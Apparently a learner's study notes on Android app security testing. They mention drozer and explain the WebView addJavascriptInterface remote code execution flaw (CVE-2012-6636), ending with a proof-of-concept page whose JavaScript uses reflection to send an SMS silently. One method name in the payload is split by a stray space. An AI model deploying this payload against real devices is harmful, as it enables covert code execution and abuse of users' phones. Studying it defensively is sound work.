要开始为公司干活了 学习app的测试
先入手的一个自动化测试app的框架 Dozer
drozer是一款针对Android系统的安全测试框架。drozer可以帮助Android app和设备变得更安全,其提供了很多Android平台下的渗透测试exploit供你使用和分享。对于远程的exploit,它可以生成shellcode帮助你进行远程设备管理。
http://www.freebuf.com/articles/terminal/98722.html
这个里面的一个工具 已经下载下来了 而且可以运行 可以看着学习一下
如果端口被占用 可以这样来处理
常见的安卓漏洞
1.WebView 远程代码执行漏洞
Android API level 16以及之前的版本存在远程代码执行安全漏洞,该漏洞源于程序没有正确限制使用WebView.addJavascriptInterface方法,远程攻击者可通过使用Java Reflection API利用该漏洞执行任意Java对象的方法,简单的说就是通过addJavascriptInterface给WebView加入一个JavaScript桥接接口,JavaScript通过调用这个接口可以直接操作本地的JAVA接口。该漏洞最早公布于CVE-2012-6636【1】,其描述了WebView中addJavascriptInterface API导致的远程代码执行安全漏洞。
- WebView 远程代码执行影响范围
Android API level 小于17 (即Android 4.2之前的系统版本)
3.漏洞触发前提条件:
WebView没有禁止使用file域;
WebView打开了对JavaScript的支持;
1) WebView 远程代码执行漏洞位置:
WebView.addJavascriptInterface(Object obj, String interfaceName)
2)WebView 远程代码执行漏洞触发前提条件:
使用addJavascriptInterface方法注册可供JavaScript调用的Java对象;
使用WebView加载外部网页或者本地网页;
Android系统版本低于4.2;
3) WebView 远程代码执行漏洞原理:
Android系统通过WebView.addJavascriptInterface方法注册可供JavaScript调用的Java对象,以用于增强JavaScript的功能。但是系统并没有对注册Java类的方法调用的限制。导致攻击者可以利用反射机制调用未注册的其它任何Java类,最终导致JavaScript能力的无限增强。攻击者利用该漏洞可以根据客户端能力为所欲为。
执行poc
1) 利用addJavascriptInterface方法注册可供JavaScript调用的java对象 “injectedObj”,利用反射机制调用Android API sendTextMessage来发送短信。
java代码:
mWebView = new WebView(this);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(this, "injectedObj");
mWebView.loadUrl("file:///android_asset/www/index.html");
EXP的JavaScript代码:
<html>
<body>
<script>
var objSmsManager = injectedObj.getClass().forName("android.telephony.SmsManager").getM ethod("getDefault",null).invoke(null,null);
objSmsManager.sendTextMessage("10086",null,"this message is sent by JS when webview is loading",null,null);
</script>
</body>
</html>